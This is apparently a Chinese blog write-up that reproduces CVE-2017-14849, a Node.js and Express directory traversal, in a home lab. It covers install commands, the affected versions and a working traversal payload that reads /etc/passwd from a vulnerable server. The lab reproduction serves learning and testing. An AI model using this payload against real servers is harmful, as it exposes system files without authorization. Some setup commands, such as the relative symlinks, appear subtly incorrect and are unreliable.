漏洞简介
CVE-2017-14849是Node.js和Express共同导致的一个目录穿越漏洞,可以通过此漏洞读取任意文件。
受该漏洞影响的版本
Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5
复现过程
环境搭建
靶机:Manjaro Xfce 19.05.21,ip:192.168.5.134
攻击机:Windows10 1809
安装Node.js 8.5.0
在Linux中直接通过命令行安装即可。
wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz
tar -zxvf node-v8.5.0-linux-x64.tar.gz
sudo mv node-v8.5.0-linux-x64 /opt/
sudo ln -s ./bin/npm /usr/bin/npm
sudo ln -s ./bin/node /usr/bin/node
使用node
命令测试,如果进入Node.js交互环境即为安装成功。
安装Express 4.15.5
同样通过命令行安装
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz
tar -zxvf 4.15.5.tar.gz
cd express-4.15.5 && npm install
开启express:
cd examples
cd static-files
node index.js
输出提示信息即为开启成功。
漏洞复现
访问192.168.5.134:3000,可以成功访问:
payload: /../../../foo/../../../../etc/passwd
使用BurpSuite发送Payload,可以看到成功返回了/etc/password的内容:
漏洞原理
这个漏洞复现起来很容易,但是原理并不简单,到现在我也没搞得很明白,只知道是Node和Express部分不兼容导致的,具体参考以下这篇文章吧:
网友评论